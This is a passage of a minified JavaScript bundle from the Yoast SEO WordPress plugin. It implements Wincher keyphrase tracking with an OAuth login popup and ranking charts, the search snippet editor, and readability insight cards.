)},setHasTrackedAll:()=>{i(!1)}}}))])(Vt),Yt=(0,De.makeOutboundLink)(),Gt=(0,De.makeOutboundLink)(),Zt=()=>{const e=(0,l.sprintf)((0,l.__)(/* translators: %1$s expands to a link to Wincher, %2$s expands to a link to the keyphrase tracking article on Yoast.com */
"With %1$s you can track the ranking position of your page in the search results based on your keyphrase(s). %2$s","wordpress-seo"),"{{wincherLink/}}","{{wincherReadMoreLink/}}");return(0,t.createElement)("p",null,(0,Qe.Z)({mixedString:e,components:{wincherLink:(0,t.createElement)(Yt,{href:wpseoAdminGlobalL10n["links.wincher.website"]},"Wincher"),wincherReadMoreLink:(0,t.createElement)(Gt,{href:wpseoAdminL10n["shortlinks.wincher.seo_performance"]},(0,l.__)("Read more about keyphrase tracking with Wincher","wordpress-seo"))}}))},Xt=()=>(0,t.createElement)(ke.Alert,{type:"error"},(0,l.__)("No keyphrase has been set. Please set a keyphrase first.","wordpress-seo")),Qt=()=>(0,t.createElement)(ke.Alert,{type:"info"},(0,l.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,l.__)("Automatic tracking of keyphrases is enabled. Your keyphrase(s) will automatically be tracked by %s when you publish your post.","wordpress-seo"),"Wincher"));class Jt{constructor(e,t={},s={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},s),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:s}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,s,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:s,origin:r}=e;r===this.origin&&this.popup===s&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}const es=e=>{const s=(0,l.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,l.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,t.createElement)(ke.Alert,{type:"error",className:e.className},(0,Qe.Z)({mixedString:s,components:{reconnectToWincher:(0,t.createElement)("a",{href:"#",onClick:t=>{t.preventDefault(),e.onReconnect()}},(0,l.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,l.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};es.propTypes={onReconnect:y().func.isRequired,className:y().string},es.defaultProps={className:""};const ts=es,ss=()=>(0,t.createElement)(ke.Alert,{type:"error"},(0,l.__)("Before you can track your SEO performance make sure to set either the post’s title and save it as a draft or manually set the post’s slug.","wordpress-seo")),rs=window.yoast["chart.js"],ns="label";function as(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function os(e,t){e.labels=t}function is(e,t){let s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:ns;const r=[];e.datasets=t.map((t=>{const n=e.datasets.find((e=>e[s]===t[s]));return n&&t.data&&!r.includes(n)?(r.push(n),Object.assign(n,t),n):{...t}}))}function ls(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:ns;const s={labels:[],datasets:[]};return os(s,e.labels),is(s,e.datasets,t),s}function cs(e,s){const{height:r=150,width:n=300,redraw:a=!1,datasetIdKey:o,type:i,data:l,options:c,plugins:d=[],fallbackContent:p,updateMode:u,...m}=e,h=(0,t.useRef)(null),g=(0,t.useRef)(),y=()=>{h.current&&(g.current=new rs.Chart(h.current,{type:i,data:ls(l,o),options:c&&{...c},plugins:d}),as(s,g.current))},f=()=>{as(s,null),g.current&&(g.current.destroy(),g.current=null)};return(0,t.useEffect)((()=>{!a&&g.current&&c&&function(e,t){const s=e.options;s&&t&&Object.assign(s,t)}(g.current,c)}),[a,c]),(0,t.useEffect)((()=>{!a&&g.current&&os(g.current.config.data,l.labels)}),[a,l.labels]),(0,t.useEffect)((()=>{!a&&g.current&&l.datasets&&is(g.current.config.data,l.datasets,o)}),[a,l.datasets]),(0,t.useEffect)((()=>{g.current&&(a?(f(),setTimeout(y)):g.current.update(u))}),[a,c,l.labels,l.datasets,u]),(0,t.useEffect)((()=>{g.current&&(f(),setTimeout(y))}),[i]),(0,t.useEffect)((()=>(y(),()=>f())),[]),t.createElement("canvas",Object.assign({ref:h,role:"img",height:r,width:n},m),p)}const ds=(0,t.forwardRef)(cs);function ps(e,s){return rs.Chart.register(s),(0,t.forwardRef)(((s,r)=>t.createElement(ds,Object.assign({},s,{ref:r,type:e}))))}const us=ps("line",rs.LineController),ms={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};rs._adapters._date.override("function"==typeof Xe()?{_id:"moment",formats:function(){return ms},parse:function(e,t){return"string"==typeof e&&"string"==typeof t?e=Xe()(e,t):e instanceof Xe()||(e=Xe()(e)),e.isValid()?e.valueOf():null},format:function(e,t){return Xe()(e).format(t)},add:function(e,t,s){return Xe()(e).add(t,s).valueOf()},diff:function(e,t,s){return Xe()(e).diff(Xe()(t),s)},startOf:function(e,t,s){return e=Xe()(e),"isoWeek"===t?(s=Math.trunc(Math.min(Math.max(0,s),6)),e.isoWeekday(s).startOf("day").valueOf()):e.startOf(t).valueOf()},endOf:function(e,t){return Xe()(e).endOf(t).valueOf()}}:{}),Math.PI,Number.POSITIVE_INFINITY,Math.log10,Math.sign,"undefined"==typeof window||window.requestAnimationFrame,new Map,Object.create(null),Object.create(null),Number.EPSILON;const hs=["top","right","bottom","left"];function gs(e,t,s){const r={};s=s?"-"+s:"";for(let n=0;n<4;n++){const a=hs[n];r[a]=parseFloat(e[t+"-"+a+s])||0}return r.width=r.left+r.right,r.height=r.top+r.bottom,r}!function(){let e=!1;try{const t={get passive(){return e=!0,!1}};window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}}(),rs.Chart.register(rs.CategoryScale,rs.LineController,rs.LineElement,rs.PointElement,rs.LinearScale,rs.TimeScale,rs.Legend,rs.Tooltip);const ys=["#ff983b","#ffa3f7","#3798ff","#ff3b3b","#acce81","#b51751","#3949ab","#26c6da","#ccb800","#de66ff","#4db6ac","#ffab91","#45f5f1","#77f210","#90a4ae","#ffd54f","#006b5e","#8ec7d2","#b1887c","#cc9300"];function fs({datasets:e,isChartShown:s,keyphrases:r}){if(!s)return null;const n=(0,i.useMemo)((()=>Object.fromEntries([...r].sort().map(((e,t)=>[e,ys[t%ys.length]])))),[r]),a=e.map((e=>{const t=n[e.label];return{...e,data:e.data.map((({datetime:e,value:t})=>({x:e,y:t}))),lineTension:0,pointRadius:1,pointHoverRadius:4,borderWidth:2,pointHitRadius:6,backgroundColor:t,borderColor:t}})).filter((e=>!1!==e.selected));return(0,t.createElement)(us,{height:100,data:{datasets:a},options:{plugins:{legend:{display:!0,position:"bottom",labels:{color:"black",usePointStyle:!0,boxHeight:7,boxWidth:7},onClick:m.noop},tooltip:{enabled:!0,callbacks:{title:e=>Xe()(e[0].raw.x).utc().format("YYYY-MM-DD")},titleAlign:"center",mode:"xPoint",position:"nearest",usePointStyle:!0,boxHeight:7,boxWidth:7,boxPadding:2}},scales:{x:{bounds:"ticks",type:"time",time:{unit:"day",minUnit:"day"},grid:{display:!1},ticks:{autoSkipPadding:50,maxRotation:0,color:"black"}},y:{bounds:"ticks",offset:!0,reverse:!0,ticks:{precision:0,color:"black"},max:101}}}})}rs.Interaction.modes.xPoint=(e,t,s,r)=>{const n=function(e,t){if("native"in e)return e;const{canvas:s,currentDevicePixelRatio:r}=t,n=(m=s).ownerDocument.defaultView.getComputedStyle(m,null),a="border-box"===n.boxSizing,o=gs(n,"padding"),i=gs(n,"border","width"),{x:l,y:c,box:d}=function(e,t){const s=e.touches,r=s&&s.length?s[0]:e,{offsetX:n,offsetY:a}=r;let o,i,l=!1;if(((e,t,s)=>(e>0||t>0)&&(!s||!s.shadowRoot))(n,a,e.target))o=n,i=a;else{const e=t.getBoundingClientRect();o=r.clientX-e.left,i=r.clientY-e.top,l=!0}return{x:o,y:i,box:l}}(e,s),p=o.left+(d&&i.left),u=o.top+(d&&i.top);var m;let{width:h,height:g}=t;return a&&(h-=o.width+i.width,g-=o.height+i.height),{x:Math.round((l-p)/h*s.width/r),y:Math.round((c-u)/g*s.height/r)}}(t,e);let a=[];if(rs.Interaction.evaluateInteractionItems(e,"x",n,((e,t,s)=>{e.inXRange(n.x,r)&&a.push({element:e,datasetIndex:t,index:s})})),0===a.length)return a;const o=a.reduce(((e,t)=>Math.abs(n.x-e.element.x)<Math.abs(n.x-t.element.x)?e:t)).element.x;return a=a.filter((e=>e.element.x===o)),a.some((e=>Math.abs(e.element.y-n.y)<10))?a:[]},fs.propTypes={datasets:y().arrayOf(y().shape({label:y().string.isRequired,data:y().arrayOf(y().shape({datetime:y().string.isRequired,value:y().number.isRequired})).isRequired,selected:y().bool})).isRequired,isChartShown:y().bool.isRequired,keyphrases:y().array.isRequired};const ws=({response:e,onLogin:s})=>[401,403,404].includes(e.status)?(0,t.createElement)(ts,{onReconnect:s}):(0,t.createElement)(st,null);ws.propTypes={response:y().object.isRequired,onLogin:y().func.isRequired};const bs=({isSuccess:e,response:s,allKeyphrasesMissRanking:r,onLogin:n,keyphraseLimitReached:a,limit:o})=>a?(0,t.createElement)(tt,{limit:o}):(0,m.isEmpty)(s)||e?r?(0,t.createElement)(Et,null):null:(0,t.createElement)(ws,{response:s,onLogin:n});bs.propTypes={isSuccess:y().bool.isRequired,allKeyphrasesMissRanking:y().bool.isRequired,response:y().object,onLogin:y().func.isRequired,keyphraseLimitReached:y().bool.isRequired,limit:y().number.isRequired},bs.defaultProps={response:{}};let Es=null;const vs=async e=>{if(Es&&!Es.isClosed())return void Es.focus();const{url:t}=await async function(){return await ot({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();Es=new Jt(t,{success:{type:"wincher:oauth:success",callback:t=>(async(e,t)=>{const{onAuthentication:s,setRequestSucceeded:r,setRequestFailed:n,keyphrases:a,addTrackedKeyphrase:o,setKeyphraseLimitReached:i}=e;await at((()=>async function(e){const{code:t,websiteId:s}=e;return await ot({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:s}})}(t)),(async e=>{s(!0,!0,t.websiteId.toString()),r(e);const l=(Array.isArray(a)?a:[a]).map((e=>e.toLowerCase()));await at((()=>it(l)),(e=>{r(e),o(e.results)}),(e=>{400===e.status&&e.limit&&i(e.limit),n(e)}),201);const c=Es.getPopup();c&&c.close()}),(async e=>n(e)))})(e,t)},error:{type:"wincher:oauth:error",callback:()=>e.onAuthentication(!1,!1)}},{title:"Wincher_login",width:500,height:700}),Es.createPopup()},ks=e=>e.isLoggedIn?null:(0,t.createElement)("p",null,(0,t.createElement)(ke.NewButton,{onClick:e.onLogin,variant:"primary"},(0,l.sprintf)(/* translators: %s expands to Wincher */
(0,l.__)("Connect with %s","wordpress-seo"),"Wincher")));ks.propTypes={isLoggedIn:y().bool.isRequired,onLogin:y().func.isRequired};const _s=w().div`
	p {
		margin: 1em 0;
	}
`,xs=w().div`
	${e=>e.isDisabled&&"\n\t\topacity: .5;\n\t\tpointer-events: none;\n\t"};
`,Rs=w().div`
	font-weight: var(--yoast-font-weight-bold);
	color: var(--yoast-color-label);
	font-size: var(--yoast-font-size-default);
`,Ss=w().div.attrs({className:"yoast-field-group"})`
	display: flex;
	justify-content: space-between;
	align-items: center;
	margin-bottom: 14px;
`,Ts=w().div`
	margin: 8px 0;
`,Cs=Xe().utc().startOf("day"),Is=[{name:(0,l.__)("Last day","wordpress-seo"),value:Xe()(Cs).subtract(1,"days").format(),defaultIndex:1},{name:(0,l.__)("Last week","wordpress-seo"),value:Xe()(Cs).subtract(1,"week").format(),defaultIndex:2},{name:(0,l.__)("Last month","wordpress-seo"),value:Xe()(Cs).subtract(1,"month").format(),defaultIndex:3},{name:(0,l.__)("Last year","wordpress-seo"),value:Xe()(Cs).subtract(1,"year").format(),defaultIndex:0}],Ps=e=>{const{onSelect:s,selected:r,options:n,isLoggedIn:a}=e;return a?n.length<1?null:(0,t.createElement)("select",{className:"components-select-control__input",id:"wincher-period-picker",value:(null==r?void 0:r.value)||n[0].value,onChange:s},n.map((e=>(0,t.createElement)("option",{key:e.name,value:e.value},e.name)))):null};Ps.propTypes={onSelect:y().func.isRequired,selected:y().object,options:y().array.isRequired,isLoggedIn:y().bool.isRequired};const Ls=e=>{const{trackedKeyphrases:s,isLoggedIn:r,keyphrases:n,shouldTrackAll:a,permalink:o,historyDaysLimit:c}=e;if(!o&&r)return(0,t.createElement)(ss,null);if(0===n.length)return(0,t.createElement)(Xt,null);const d=Xe()(Cs).subtract(c,"days"),p=Is.filter((e=>Xe()(e.value).isSameOrAfter(d))),u=(0,m.orderBy)(p,(e=>e.defaultIndex),"desc")[0],[h,g]=(0,i.useState)(u),[y,f]=(0,i.useState)([]),w=y.length>0,b=(0,Le.usePrevious)(s);(0,i.useEffect)((()=>{if(!(0,m.isEmpty)(s)&&(0,m.difference)(Object.keys(s),Object.keys(b||[])).length){const e=Object.values(s).map((e=>e.keyword));f(e)}}),[s,b]),(0,i.useEffect)((()=>{g(u)}),[null==u?void 0:u.name]);const E=(0,i.useCallback)((e=>{const t=Is.find((t=>t.value===e.target.value));t&&g(t)}),[g]),v=(0,i.useMemo)((()=>(0,m.isEmpty)(y)||(0,m.isEmpty)(s)?[]:Object.values(s).filter((e=>{var t;return!(null==e||null===(t=e.position)||void 0===t||!t.history)})).map((e=>{var t;return{label:e.keyword,data:e.position.history,selected:y.includes(e.keyword)&&!(0,m.isEmpty)(null===(t=e.position)||void 0===t?void 0:t.history)}}))),[y,s]);return(0,t.createElement)(xs,{isDisabled:!r},(0,t.createElement)("p",null,(0,l.__)("You can enable / disable tracking the SEO performance for each keyphrase below.","wordpress-seo")),r&&a&&(0,t.createElement)(Qt,null),(0,t.createElement)(Ss,null,(0,t.createElement)(Ps,{selected:h,onSelect:E,options:p,isLoggedIn:r})),(0,t.createElement)(Ts,null,(0,t.createElement)(fs,{isChartShown:w,datasets:v,keyphrases:n})),(0,t.createElement)(zt,{startAt:null==h?void 0:h.value,selectedKeyphrases:y,onSelectKeyphrases:f,trackedKeyphrases:s}))};function As(e){const{isNewlyAuthenticated:s,isLoggedIn:r}=e,n=(0,i.useCallback)((()=>{vs(e)}),[vs,e]),a=mt(r);return(0,t.createElement)(_s,null,s&&(0,t.createElement)(bt,null),r&&(0,t.createElement)(wt,{trackingInfo:a}),(0,t.createElement)(Rs,null,(0,l.__)("SEO performance","wordpress-seo"),(0,t.createElement)(ke.HelpIcon,{linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about the SEO performance feature.","wordpress-seo")})),(0,t.createElement)(Zt,null),(0,t.createElement)(ks,{isLoggedIn:r,onLogin:n}),(0,t.createElement)(bs,{...e,onLogin:n}),(0,t.createElement)(Ls,{...e,historyDaysLimit:(null==a?void 0:a.historyDays)||31}))}Ls.propTypes={trackedKeyphrases:y().object,keyphrases:y().array.isRequired,isLoggedIn:y().bool.isRequired,shouldTrackAll:y().bool.isRequired,permalink:y().string.isRequired,historyDaysLimit:y().number},As.propTypes={trackedKeyphrases:y().object,addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,response:y().object,shouldTrackAll:y().bool,permalink:y().string,historyDaysLimit:y().number},As.defaultProps={trackedKeyphrases:null,isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],response:{},shouldTrackAll:!1,permalink:"",historyDaysLimit:0};const Fs=(0,Le.compose)([(0,a.withSelect)((e=>{const{isWincherNewlyAuthenticated:t,getWincherKeyphraseLimitReached:s,getWincherLimit:r,getWincherHistoryDaysLimit:n,getWincherLoginStatus:a,getWincherRequestIsSuccess:o,getWincherRequestResponse:i,getWincherTrackableKeyphrases:l,getWincherTrackedKeyphrases:c,getWincherAllKeyphrasesMissRanking:d,getWincherPermalink:p,shouldWincherAutomaticallyTrackAll:u}=e("yoast-seo/editor");return{keyphrases:l(),trackedKeyphrases:c(),allKeyphrasesMissRanking:d(),isLoggedIn:a(),isNewlyAuthenticated:t(),isSuccess:o(),keyphraseLimitReached:s(),limit:r(),response:i(),shouldTrackAll:u(),permalink:p(),historyDaysLimit:n()}})),(0,a.withDispatch)((e=>{const{setWincherWebsiteId:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherTrackingForKeyphrase:n,setWincherSetKeyphraseLimitReached:a,setWincherLoginStatus:o}=e("yoast-seo/editor");return{setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},addTrackedKeyphrase:e=>{n(e)},setKeyphraseLimitReached:e=>{a(e)},onAuthentication:(e,s,r)=>{t(r),o(e,s)}}}))])(As),Os=w()(Ae)`
	width: 18px;
	height: 18px;
	margin: 3px;
`;function Ns(e){const{keyphrases:t,onNoKeyphraseSet:s,onOpen:r,location:n}=e;if(!t.length){let e=document.querySelector("#focus-keyword-input-metabox");return e||(e=document.querySelector("#focus-keyword-input-sidebar")),e.focus(),void s()}r(n)}function qs(e){const{location:s,whichModalOpen:r,shouldCloseOnClickOutside:n}=e,a=(0,i.useCallback)((()=>{Ns(e)}),[Ns,e]),o=(0,l.__)("Track SEO performance","wordpress-seo"),c=Fe();return(0,t.createElement)(i.Fragment,null,r===s&&(0,t.createElement)(je,{title:o,onRequestClose:e.onClose,icon:(0,t.createElement)(ze,null),additionalClassName:"yoast-wincher-seo-performance-modal yoast-gutenberg-modal__no-padding",shouldCloseOnClickOutside:n},(0,t.createElement)($e,{className:"yoast-gutenberg-modal__content yoast-wincher-seo-performance-modal__content"},(0,t.createElement)(Fs,null))),"sidebar"===s&&(0,t.createElement)(Ge,{id:`wincher-open-button-${s}`,title:o,SuffixHeroIcon:(0,t.createElement)(Os,{className:"yst-text-slate-500",...c}),onClick:a}),"metabox"===s&&(0,t.createElement)("div",{className:"yst-root"},(0,t.createElement)(Me,{id:`wincher-open-button-${s}`,onClick:a},(0,t.createElement)(Me.Text,null,o),(0,t.createElement)(Ae,{className:"yst-h-5 yst-w-5 yst-text-slate-500",...c}))))}qs.propTypes={location:y().string,whichModalOpen:y().oneOf(["none","metabox","sidebar","postpublish"]),shouldCloseOnClickOutside:y().bool,keyphrases:y().array.isRequired,onNoKeyphraseSet:y().func.isRequired,onOpen:y().func.isRequired,onClose:y().func.isRequired},qs.defaultProps={location:"",whichModalOpen:"none",shouldCloseOnClickOutside:!0};const Ms=(0,Le.compose)([(0,a.withSelect)((e=>{const{getWincherModalOpen:t,getWincherTrackableKeyphrases:s}=e("yoast-seo/editor");return{keyphrases:s(),whichModalOpen:t()}})),(0,a.withDispatch)((e=>{const{setWincherOpenModal:t,setWincherDismissModal:s,setWincherNoKeyphrase:r}=e("yoast-seo/editor");return{onOpen:e=>{t(e)},onClose:()=>{s()},onNoKeyphraseSet:()=>{r()}}}))])(qs),Ds=window.yoast.externals.components;function $s(){return(0,Le.createHigherOrderComponent)((function(e){return(0,Le.pure)((function(t){const s=(0,i.useContext)(p.LocationContext);return(0,i.createElement)(e,{...t,location:s})}))}),"withLocation")}const Bs=(0,Le.compose)([(0,a.withSelect)((e=>{const{isCornerstoneContent:t}=e("yoast-seo/editor");return{isCornerstone:t(),learnMoreUrl:wpseoAdminL10n["shortlinks.cornerstone_content_info"]}})),(0,a.withDispatch)((e=>{const{toggleCornerstoneContent:t}=e("yoast-seo/editor");return{onChange:t}})),$s()])(Ds.CollapsibleCornerstone),Us=window.yoast.searchMetadataPreviews,Ws=w()(ke.StyledSection)`
	&${ke.StyledSectionBase} {
		padding: 0;

		& ${ke.StyledHeading} {
			${(0,De.getDirectionalStyle)("padding-left","padding-right")}: 20px;
			margin-left: ${(0,De.getDirectionalStyle)("0","20px")};
		}
	}
`,js=({children:e,title:s,icon:r,hasPaperStyle:n,shoppingData:a})=>(0,t.createElement)(Ws,{headingLevel:3,headingText:s,headingIcon:r,headingIconColor:"#555",hasPaperStyle:n,shoppingData:a},e);js.propTypes={children:y().element,title:y().string,icon:y().string,hasPaperStyle:y().bool,shoppingData:y().object},js.defaultProps={hasPaperStyle:!0,shoppingData:null};const Ks=js,Hs=window.wp.sanitize,Vs="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLE";function zs(e,t,s="",r=!1){const n="string"==typeof t?(0,De.decodeHTML)(t):t;return{type:Vs,name:e,value:n,label:s,hidden:r}}function Ys(e){return e.charAt(0).toUpperCase()+e.slice(1)}const{stripHTMLTags:Gs}=De.strings,Zs=["slug","content","contentImage","snippetPreviewImageURL"];function Xs(e,t="_"){return e.replace(/\s/g,t)}function Qs(e,t=156){return(e=(e=(0,Hs.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}const Js=(0,m.memoize)(((e,t)=>0===e?m.noop:(0,m.debounce)((s=>t(s,e)),500))),er=({link:e,text:s})=>(0,t.createElement)(S.Root,null,(0,t.createElement)("p",null,s),(0,t.createElement)(S.Button,{href:e,as:"a",className:"yst-gap-2 yst-mb-5 yst-mt-2",variant:"upsell",target:"_blank",rel:"noopener"},(0,t.createElement)(T,{className:"yst-w-4 yst-h-4 yst--ml-1 yst-shrink-0"}),(0,l.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,l.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO")));er.propTypes={link:y().string.isRequired,text:y().string.isRequired};const tr=er,sr=function(e,t){let s=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(s=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[s]&&(e.url=e.url.slice(0,s)+e.url.slice(s+1)),function(e){const t=(0,m.get)(window,["YoastSEO","app","pluggable"],!1);if(!t||!(0,m.get)(window,["YoastSEO","app","pluggable","loaded"],!1))return function(e){const t=(0,m.get)(window,["YoastSEO","wp","replaceVarsPlugin","replaceVariables"],m.identity);return{url:e.url,title:Gs(t(e.title)),description:Gs(t(e.description)),filteredSEOTitle:e.filteredSEOTitle?Gs(t(e.filteredSEOTitle)):""}}(e);const s=t._applyModifications.bind(t);return{url:e.url,title:Gs(s("data_page_title",e.title)),description:Gs(s("data_meta_desc",e.description)),filteredSEOTitle:e.filteredSEOTitle?Gs(s("data_page_title",e.filteredSEOTitle)):""}}(e)},rr=(0,Le.compose)([(0,a.withSelect)((function(e){const{getBaseUrlFromSettings:t,getDateFromSettings:s,getFocusKeyphrase:r,getRecommendedReplaceVars:n,getReplaceVars:a,getShoppingData:o,getSiteIconUrlFromSettings:i,getSnippetEditorData:l,getSnippetEditorMode:c,getSnippetEditorPreviewImageUrl:d,getSnippetEditorWordsToHighlight:p,isCornerstoneContent:u,getIsTerm:m,getContentLocale:h,getSiteName:g}=e("yoast-seo/editor"),y=a();return y.forEach((e=>{""!==e.value||["title","excerpt","excerpt_only"].includes(e.name)||(e.value="%%"+e.name+"%%")})),{baseUrl:t(),data:l(),date:s(),faviconSrc:i(),keyword:r(),mobileImageSrc:d(),mode:c(),recommendedReplacementVariables:n(),replacementVariables:y,shoppingData:o(),wordsToHighlight:p(),isCornerstone:u(),isTaxonomy:m(),locale:h(),siteName:g()}})),(0,a.withDispatch)((function(e,t,{select:s}){const{updateData:r,switchMode:n,updateAnalysisData:a,findCustomFields:o}=e("yoast-seo/editor"),i=e("core/editor"),l=s("yoast-seo/editor").getPostId();return{onChange:(e,t)=>{switch(e){case"mode":n(t);break;case"slug":r({slug:t}),i&&i.editPost({slug:t});break;default:r({[e]:t})}},onChangeAnalysisData:a,onReplacementVariableSearchChange:Js(l,o)}}))])((e=>{const s=(0,a.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/product-google-preview-metabox")),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").getIsWooSeoUpsell()),[]),n=(0,l.__)("Want an enhanced Google preview of how your WooCommerce products look in the search results?","wordpress-seo");return(0,t.createElement)(p.LocationConsumer,null,(a=>(0,t.createElement)(Ks,{icon:"eye",hasPaperStyle:e.hasPaperStyle},(0,t.createElement)(t.Fragment,null,r&&(0,t.createElement)(tr,{link:s,text:n}),(0,t.createElement)(Us.SnippetEditor,{...e,descriptionPlaceholder:(0,l.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:sr,showCloseButton:!1,idSuffix:a})))))})),nr=(0,a.withSelect)((e=>{const{getWarningMessage:t}=e("yoast-seo/editor");return{message:t()}}))(ke.Warning),ar=window.yoast.featureFlag,or=w()(ke.Collapsible)`
	h2 > button {
		padding-left: 24px;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,ir=e=>(0,t.createElement)(or,{hasPadding:!0,hasSeparator:!0,...e}),lr=()=>{const e=(0,a.useSelect)((e=>e("yoast-seo/editor").getEstimatedReadingTime()),[]),s=(0,i.useMemo)((()=>(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-estimated_reading_time","")),[]);return(0,t.createElement)(ke.InsightsCard,{amount:e,unit:(0,l._n)("minute","minutes",e,"wordpress-seo"),title:(0,l.__)("Reading time","wordpress-seo"),linkTo:s
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about reading time","wordpress-seo")})},cr=(0,De.makeOutboundLink)();function dr(e,s,r){const n=function(e){switch(e){case xe.DIFFICULTY.FAIRLY_DIFFICULT:case xe.DIFFICULTY.DIFFICULT:case xe.DIFFICULTY.VERY_DIFFICULT:return(0,l.__)("Try to make shorter sentences, using less difficult words to improve readability","wordpress-seo");case xe.DIFFICULTY.NO_DATA:return(0,l.__)("Continue writing to get insight into the readability of your text!","wordpress-seo");default:return(0,l.__)("Good job!","wordpress-seo")}}(s);return(0,t.createElement)("span",null,function(e,t){return-1===e?(0,l.sprintf)((0,l.__)("Your text should be slightly longer to calculate your Flesch reading ease score.","wordpress-seo")):(0,l.sprintf)(
/* Translators: %1$s expands to the numeric Flesch reading ease score,
  		%2$s expands to the easiness of reading (e.g. 'easy' or 'very difficult').
  	 */
(0,l.__)("The copy scores %1$s in the test, which is considered %2$s to read.","wordpress-seo"),e,function(e){switch(e){case xe.DIFFICULTY.NO_DATA:return(0,l.__)("no data","wordpress-seo");case xe.DIFFICULTY.VERY_EASY:return(0,l.__)("very easy","wordpress-seo");case xe.DIFFICULTY.EASY:return(0,l.__)("easy","wordpress-seo");case xe.DIFFICULTY.FAIRLY_EASY:return(0,l.__)("fairly easy","wordpress-seo");case xe.DIFFICULTY.OKAY:return(0,l.__)("okay","wordpress-seo");case xe.DIFFICULTY.FAIRLY_DIFFICULT:return(0,l.__)("fairly difficult","wordpress-seo");case xe.DIFFICULTY.DIFFICULT:return(0,l.__)("difficult","wordpress-seo");case xe.DIFFICULTY.VERY_DIFFICULT:return(0,l.__)("very difficult","wordpress-seo")}}(t))}(e,s)," ",s>=xe.DIFFICULTY.FAIRLY_DIFFICULT?(0,t.createElement)(cr,{href:r},n+"."):n)}const pr=()=>{let e=(0,a.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseScore()),[]);const s=(0,i.useMemo)((()=>(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease","")),[]),r=(0,a.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseDifficulty()),[e]),n=(0,i.useMemo)((()=>{const t=(0,m.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease_article","");return dr(e,r,t)}),[e,r]);return-1===e&&(e="?"),(0,t.createElement)(ke.InsightsCard,{amount:e,unit:(0,l.__)("out of 100","wordpress-seo"),title:(0,l.__)("Flesch reading ease","wordpress-seo"),linkTo:s
/* translators: Hidden accessibility text. */,linkText:(0,l.__)("Learn more about Flesch reading ease","wordpress-seo"),description:n})};let ur,mr,hr,gr;const yr=/<(\/)?(\w+)\s*(\/)?>/g;function fr(e,t,s,r,n){return{element:e,tokenStart:t,tokenLength:s,prevOffset:r,leadingTextStart:n,children:[]}}function wr(){const e=ur.length-mr;0!==e&&hr.push(ur.substring(mr,mr+e))}function br(e){const{element:t,tokenStart:s,tokenLength:r,prevOffset:n,children:a}=e,o=gr[gr.length-1],l=ur.substring(o.prevOffset,s);l&&o.children.push(l),o.children.push((0,i.cloneElement)(t,null,...a)),o.prevOffset=n||s+r}function Er(e){const t=function(){const e=yr.exec(ur);if(null===e)return["no-more-tokens"];const t=e.index,[s,r,n,a]=e,o=s.length;return a?["self-closed",n,t,o]:r?["closer",n,t,o]:["opener",n,t,o]}(),[s,r,n,a]=t,o=gr.length,l=n>mr?mr:null;if(!e[r])return 